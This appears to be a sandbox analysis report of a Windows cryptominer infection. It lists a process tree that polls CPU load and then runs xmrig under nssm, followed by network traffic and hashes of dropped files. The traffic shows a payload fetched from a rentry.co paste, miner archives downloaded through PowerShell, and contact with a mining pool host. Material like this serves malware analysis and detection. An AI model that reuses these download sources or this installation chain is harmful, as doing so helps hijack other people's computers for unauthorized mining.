C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1560
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4280
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1740
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:428
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:816
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4764
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:872
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4452
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4360
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3040
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2928
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:996
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3968
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3016
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2552
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4128
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:424
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2436
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2088
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3776
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2848
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:960
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3192
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1856
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1960
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:432
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1708
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4636
-
-
-
C:\Users\Admin\moneroocean\nssm.exeC:\Users\Admin\moneroocean\nssm.exe1⤵
- Executes dropped EXE
PID:2320 -
C:\Users\Admin\moneroocean\xmrig.exe"C:\Users\Admin\moneroocean\xmrig.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2516
-
Network
-
Remote address:8.8.8.8:53Requestrentry.coIN AResponserentry.coIN A172.67.75.40rentry.coIN A104.26.2.16rentry.coIN A104.26.3.16
-
Remote address:172.67.75.40:443RequestGET /regele/raw HTTP/1.1
Host: rentry.co
Connection: Keep-Alive
ResponseHTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Content-Length: 14923
Connection: keep-alive
vary: Origin
x-xss-protection: 1; mode=block
x-content-type-options: nosniff
strict-transport-security: max-age=31536000; includeSubDomains
Cache-Control: Vary
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hqhdZXRxkzgWwWKauS%2BzaSQm2kw5J4Ii6lTYeRJ8YqW9y9VPMECgeByd6cYY1jHJXYt%2BwT%2FYB%2BNadV6utI7uIA%2FicYXfOZFJmZ1Gt%2F0qrFRBGW7kuW%2BYhqfkLg%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 89b647cbd8c8718a-LHR
-
Remote address:8.8.8.8:53Request40.75.67.172.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Requestraw.githubusercontent.comIN AResponseraw.githubusercontent.comIN A185.199.111.133raw.githubusercontent.comIN A185.199.108.133raw.githubusercontent.comIN A185.199.109.133raw.githubusercontent.comIN A185.199.110.133
-
Remote address:185.199.111.133:443RequestGET /MoneroOcean/xmrig_setup/master/xmrig.zip HTTP/1.1
Host: raw.githubusercontent.com
Connection: Keep-Alive
ResponseHTTP/1.1 200 OK
Content-Length: 3692486
Cache-Control: max-age=300
Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox
Content-Type: application/zip
ETag: "cb4b18ad6d29e2eb894ed10da4876ab80201079a5b7383bfad9a7a24ee01822e"
Strict-Transport-Security: max-age=31536000
X-Content-Type-Options: nosniff
X-Frame-Options: deny
X-XSS-Protection: 1; mode=block
X-GitHub-Request-Id: 96FC:241575:309A63:380BBE:667FCF91
Accept-Ranges: bytes
Date: Sat, 29 Jun 2024 13:32:05 GMT
Via: 1.1 varnish
X-Served-By: cache-lcy-eglc8600084-LCY
X-Cache: HIT
X-Cache-Hits: 1
X-Timer: S1719667925.059053,VS0,VE5
Vary: Authorization,Accept-Encoding,Origin
Access-Control-Allow-Origin: *
Cross-Origin-Resource-Policy: cross-origin
X-Fastly-Request-ID: a8392c45c7264d3122ead2f98e6f942175f4c7ba
Expires: Sat, 29 Jun 2024 13:37:05 GMT
Source-Age: 1
-
Remote address:8.8.8.8:53Request133.111.199.185.in-addr.arpaIN PTRResponse133.111.199.185.in-addr.arpaIN PTRcdn-185-199-111-133githubcom
-
Remote address:185.199.111.133:443RequestGET /MoneroOcean/xmrig_setup/master/nssm.zip HTTP/1.1
Host: raw.githubusercontent.com
Connection: Keep-Alive
ResponseHTTP/1.1 200 OK
Content-Length: 138273
Cache-Control: max-age=300
Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox
Content-Type: application/zip
ETag: "516060408d755298a7c2d5a55ef8816a492c342ce156e91f5893df4d25424a91"
Strict-Transport-Security: max-age=31536000
X-Content-Type-Options: nosniff
X-Frame-Options: deny
X-XSS-Protection: 1; mode=block
X-GitHub-Request-Id: DAA8:1D9125:4070AB:4BE1A1:667FCF9B
Accept-Ranges: bytes
Date: Sat, 29 Jun 2024 13:32:11 GMT
Via: 1.1 varnish
X-Served-By: cache-lcy-eglc8600081-LCY
X-Cache: HIT
X-Cache-Hits: 1
X-Timer: S1719667931.042046,VS0,VE1
Vary: Authorization,Accept-Encoding,Origin
Access-Control-Allow-Origin: *
Cross-Origin-Resource-Policy: cross-origin
X-Fastly-Request-ID: 1ad491446c452a0a92c0885dcf5400780018d3f6
Expires: Sat, 29 Jun 2024 13:37:11 GMT
Source-Age: 4
-
Remote address:8.8.8.8:53Request11.227.111.52.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request88.210.23.2.in-addr.arpaIN PTRResponse88.210.23.2.in-addr.arpaIN PTRa2-23-210-88deploystaticakamaitechnologiescom
-
Remote address:8.8.8.8:53Request172.210.232.199.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Requestgulf.moneroocean.streamIN AResponsegulf.moneroocean.streamIN CNAMEmonerooceans.streammonerooceans.streamIN A149.102.143.109
-
Remote address:8.8.8.8:53Request109.143.102.149.in-addr.arpaIN PTRResponse109.143.102.149.in-addr.arpaIN PTRvmi1690904 contaboservernet
-
1.1kB 20.0kB 17 26
HTTP Request
GET https://rentry.co/regele/rawHTTP Response
200 -
185.199.111.133:443https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.ziptls, httppowershell.exe110.5kB 3.8MB 1852 2746
HTTP Request
GET https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.zipHTTP Response
200 -
185.199.111.133:443https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/nssm.ziptls, httppowershell.exe3.1kB 148.5kB 59 113
HTTP Request
GET https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/nssm.zipHTTP Response
200 -
46 B 1
-
8.4kB 10.2kB 69 67
-
55 B 103 B 1 1
DNS Request
rentry.co
DNS Response
172.67.75.40104.26.2.16104.26.3.16
-
71 B 133 B 1 1
DNS Request
40.75.67.172.in-addr.arpa
-
71 B 135 B 1 1
DNS Request
raw.githubusercontent.com
DNS Response
185.199.111.133185.199.108.133185.199.109.133185.199.110.133
-
74 B 118 B 1 1
DNS Request
133.111.199.185.in-addr.arpa
-
72 B 158 B 1 1
DNS Request
11.227.111.52.in-addr.arpa
-
70 B 133 B 1 1
DNS Request
88.210.23.2.in-addr.arpa
-
74 B 128 B 1 1
DNS Request
172.210.232.199.in-addr.arpa
-
69 B 112 B 1 1
DNS Request
gulf.moneroocean.stream
DNS Response
149.102.143.109
-
74 B 116 B 1 1
DNS Request
109.143.102.149.in-addr.arpa
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD556efdb5a0f10b5eece165de4f8c9d799
SHA1fa5de7ca343b018c3bfeab692545eb544c244e16
SHA2566c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108
SHA51291e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc
-
Filesize
1KB
MD5554953112d732b491c92238a6e2612d4
SHA10b0594e24664ec9af6ea4f9b7935eb444bb67ace
SHA25614fe8ec765d77591d9d60065c6eb55191f59efffe4930d1cb6c83139b254dd4a
SHA512f9362a044e9f6d3264eadfcb46a5f9a561ff7876a853a3e689adf12cc9758e47ecf3801beb98a06507ffa9b2c0ba9a4d64b4ff59ebbf97109cf02f3193b42b6f
-
Filesize
1KB
MD50176a0e6103856fb8989c0049dde7939
SHA185bb1971bdd919823ddd6c12e6f78627dc69bae2
SHA2567812558952c9e41e63c271cead8ddb9b52aa39878151e69ef7d1e2c54fa7dd53
SHA512250720b9b8f84c820e300560d06df02a5ab72585f7e1ffd522b9d9816bbbeb753ffcbce5581fd1210eafc24cea2e4f9afd588646c1bd1b31152b3700c01e435d
-
Filesize
1KB
MD54506c79d3007c0dd6d8811d9fc1d4b8a
SHA110f49d6ea974d07d2232b675365cd6f352828bea
SHA2569674177e952665d39d4fb51739bf37102a1c5d4cfcb2b3504d157061067e105d
SHA51266092c1c6260005f8e5a7e540df5a390bcc355e0d03b60517369cc9c77b2d5a6ed546aaa138ec66369717573a747b0ca6669049b6b5e86dd699ec249d4170f50
-
Filesize
1KB
MD591427a5a03279b84d0174886b1c69c6e
SHA156c89a33640f8d845248214fc69b1dd0cfd019df
SHA256a5de5f9aae594c567d69863e423f232aa74aa75979d811de14bd6f9b64c7e0ec
SHA51211baf4429fb1a35e405ca573c70484b685aa4a67e8f24c76ce63d525ef417ff6573b2f2f014f6eb504839c038faae517147aef396ff8937af148bfa85f8339b9
-
Filesize
1KB
MD54991d5a12c9d25053eea4e715024df73
SHA18aad9687a9673b1cb58077361aaa0a958b57af7b
SHA256278d2b5deed27ea6ccaded22c715a7c8f4dec3a0653c9f881f089c4cc03ea3cd
SHA51274d73878e43f45cd9a5d79f1a9f8a1f61032f4a2746a38a3694b83472f955800c7eb8c4cd82d9eb7b122781e6483e33fbb24ad5a567a5707ccdf17870c1bfd7e
-
Filesize
1KB
MD56a0cfbf1773a7e5126827f88bfee5f72
SHA1e993af9616bd978d0a89ad709951e90ab09c39f2
SHA256d4d8d5a8b3e6e2827b62a9d76adceae63e9b84c725f4be50954feedfccdc7284
SHA51272c4db766c33aa69d675d7639f8c55ea35bba9b40d6a69351c6ba78bd093d13b2188a07e33c18f295b63d3bfb8f0488937e417efd7b03c11c28ed8256d29eeba
-
Filesize
1KB
MD5583c1d6b34ec930b0643434be06dba4f
SHA1429bc507a18b49531e9c7e63c19c4df9d0076c7c
SHA25606abcfe1e84b965a0d1508a330e84c3942eb52bb161fde08805b5fcb4391a5ad
SHA512fd949518aab41b2cbfc709bc74c8752422bcfe06c737e8254c14dc4ab008ae8beeb925e11b6599fe7280dff1d3fb6bcf1bcebe5c968e6809a8edaee2e5e98c47
-
Filesize
1KB
MD5d5e14d08da6461de372a2f3f759a27e1
SHA1171a6526c1f656c73b41ad97a18e186353daf892
SHA256d5d0990efad32a5a82a4e33771dda20776f8ec69bf266b90962d635a2458915e
SHA5129b536d4545cb4a4f82172fdafbdf0cdd08caceee14da4a17254bef8d0d86fc48358de1015c4ed96d0a4864c0aad45d6d65a36d2745e7d60173509bdb98133ec4
-
Filesize
1KB
MD547f87d6cee8df25d63486bdfc549ce5e
SHA11acf5f285b37a3f06536d63d1f49bca24a01ae3b
SHA256b4f28c14215ccfe0dd95d45f0cd33d597dc6b63b80ba25ddd108423f0ecab294
SHA5120289658522bff28b9c05a0cac87eae4fdc1305fb3772f2539a0d7a81e0e45aa5af1a1a810072b033d07e2a3eb1ae3678853033a22aab570e462926cd3715f174
-
Filesize
1KB
MD52ced99ecbfd23b29888efb5390710ffc
SHA1e49d3e65c5f57b00813a48ad894ae12b9dfea1b4
SHA2560d2ce18d86068a66600827728e44492f609e48a25e9e6ce709c00f3470aac65d
SHA5128d4163612aed15a4c2ba2c98c1eed9af9cdf09400fb0da796bbc16e9c5384d889174d245bb713098f8de6734f29dd2fb091c3efec3b4372a75628dd9a894d9fc
-
Filesize
400B
MD5b343796bd6f78462f4efeccf15501fb1
SHA180ce9f9bcdadfcf6a4bee3ee3cec202043ebc64d
SHA2569b969b3865b347653ed767418fdad060c9e58fe26d808ab24536c7779eef47ec
SHA512afe960856f361e1f99c4a8d15ad6775a89c9fa425ae2db62a6b206d44d0c5db263706e416edaf6b2d2dffaf5ac16339177cb0efa03eea493ccbba8d3b3ce69db
-
Filesize
1KB
MD5f8a2822d472be1915b4fba19b7a7486a
SHA1a52b4dbfb198dd1378c427214ee9e2454abb7668
SHA2566158b2aa6dd5b3369ce00395d06d0c536006b8a2bd5c2a081205691d18449849
SHA512b2f30f6141c91ed2b52c6e4379d9e418d8815a33b8a144b4191b4d4d060f4a4c75ee7b728594714db83e9a97aed4d44bf2090d33ae211b89f007bd1165b682bd
-
Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
-
Filesize
14KB
MD5623f6006f683afdb4b7406e3a4ec35bf
SHA1f63f03d7338317224726eba368f1a045fa2142d7
SHA25621d6e0b0e8135a929a77f48e00d286bfa4fc2d749a61529e559b8a5ceb63e47b
SHA512df7ae1e436be99bbf9ec7fe1fb745c9e2dba6b99e24019b5b1f78786198f1aed465575a829e9b8141bc92f0a4c4269e140228b4335f9fa724a60f1330ad6d3ab
-
Filesize
2KB
MD5d4f8a13f8c90e2b3b2e7d30a553df39c
SHA15c5303ef682ffcd31e57d1abd900ba5b637d51e4
SHA256f7fc5b53e709adc1f4116ff47656f7262d7fb2859a100b3e3a5568453485649a
SHA51268b0b59a732fecc8b345fa0429039d36bc3031ab65198e4d3783a5c16fa768bb6562131c1db58d00ad9c4af7fd8d77aed3c2150930663280a6bbd635ba5831bd
-
Filesize
2KB
MD5c9ef9c214996db3d88f571226910c5d5
SHA1420ba30247b1e09f706557a7704a1ebee5d3165c
SHA256fa55a24dccbf28309642d958cbb73f5053e3a56baa0eda22d4581e0151f5f7c1
SHA512de91ef4268e67c4fa8d7216637bd9ca69ea33b108352675c954d4719d2d58b9414df78c6ebc8f622fcfbeda4ad5f981c2a17a48f7eeae8626cefe5b6894ec68d
-
Filesize
2KB
MD567099c11aee7715195c370daf8713cf6
SHA14ffe1365749d5828225c3c91efbf37524f6b4574
SHA25691a469ac7711ea2098eeed42b648548c51a109b83fd54fac53b643a4d9f127c8
SHA5124a4351749e0a6dfb211196af3eb892486c3df501ec6923cad96c16605e40cca3febaf908ece586e36a55b2945141140c18c0359badd0d609999aed747221145b
-
Filesize
2KB
MD531ed789a202464014b0fbf4039772fb0
SHA1cb75eaad1ce624384ddf70892620059864932213
SHA256929598a3e63cef5075912d689cc6a3763e67f081d4b391777291f0b16a0715a2
SHA51228aacb9d4eee50ae65873d8a82f949aae76b6b4f00c31af748b5b157f09b3683384f1f6ae00fa932580b93d5d9fbf98fecf192e9d2b8793caacc7db09858e2d5
-
Filesize
2KB
MD5d52562e26122d42cc556c8608a43bad7
SHA16f3e9fc3b44900f06ee66f5b1d65980e8513be9d
SHA2564b0170591ebd2a839d83d503fee7615814bffbbcb17f05573076932b4ac324bf
SHA5121778980a60c7a31eb96176ad2cc3f5848807454eab53cc45de2a65324191e5eaf2c58944096acf2f4da095becbed18c8e58293defbd205360acb98be4acbfaee
-
Filesize
2KB
MD5576a5acbfaaafb17dc3a121678eba919
SHA1316d7b5c2363270521a929a5efafee566a7f9fbb
SHA2566c6588695545807801b19eb67cfef5dce6308165669c6cceb34cd54ba4541fe8
SHA512edf57b705b190a4758527f5410e24bcbb7e75e04e770ea2b9bab3a5b5d006f4b3d5ed39597ff125e971e3715be33fbfd65057fac4c3f526d3b66fe6d7de84c4f
-
Filesize
360KB
MD51136efb1a46d1f2d508162387f30dc4d
SHA1f280858dcfefabc1a9a006a57f6b266a5d1fde8e
SHA256eee9c44c29c2be011f1f1e43bb8c3fca888cb81053022ec5a0060035de16d848
SHA51243b31f600196eaf05e1a40d7a6e14d4c48fc6e55aca32c641086f31d6272d4afb294a1d214e071d5a8cce683a4a88b66a6914d969b40cec55ad88fde4077d3f5
-
Filesize
9.0MB
MD59ee2c39700819e5daab85785cac24ae1
SHA19b5156697983b2bdbc4fff0607fadbfda30c9b3b
SHA256e7c13a06672837a2ae40c21b4a1c8080d019d958c4a3d44507283189f91842e3
SHA51247d81ff829970c903f15a791b2c31cb0c6f9ed45fdb1f329c786ee21b0d1d6cd2099edb9f930824caceffcc936e222503a0e2c7c6253718a65a5239c6c88b649
-
Filesize
135KB
MD57ad31e7d91cc3e805dbc8f0615f713c1
SHA19f3801749a0a68ca733f5250a994dea23271d5c3
SHA2565b12c3838e47f7bc6e5388408a1701eb12c4bbfcd9c19efd418781304590d201
SHA512d7d947bfa40d6426d8bc4fb30db7b0b4209284af06d6db942e808cc959997cf23523ffef6c44b640f3d8dbe8386ebdc041d0ecb5b74e65af2c2d423df5396260
-
Filesize
3.5MB
MD5640be21102a295874403dc35b85d09eb
SHA1e8f02b3b8c0afcdd435a7595ad21889e8a1ab0e4
SHA256ed33e294d53a50a1778ddb7dca83032e9462127fce6344de2e5d6be1cd01e64b
SHA512ece0dfe12624d5892b94d0da437848d71b16f7c57c427f0b6c6baf757b9744f9e3959f1f80889ffefcb67a755d8bd7a7a63328a29ac9c657ba04bbdca3fea83e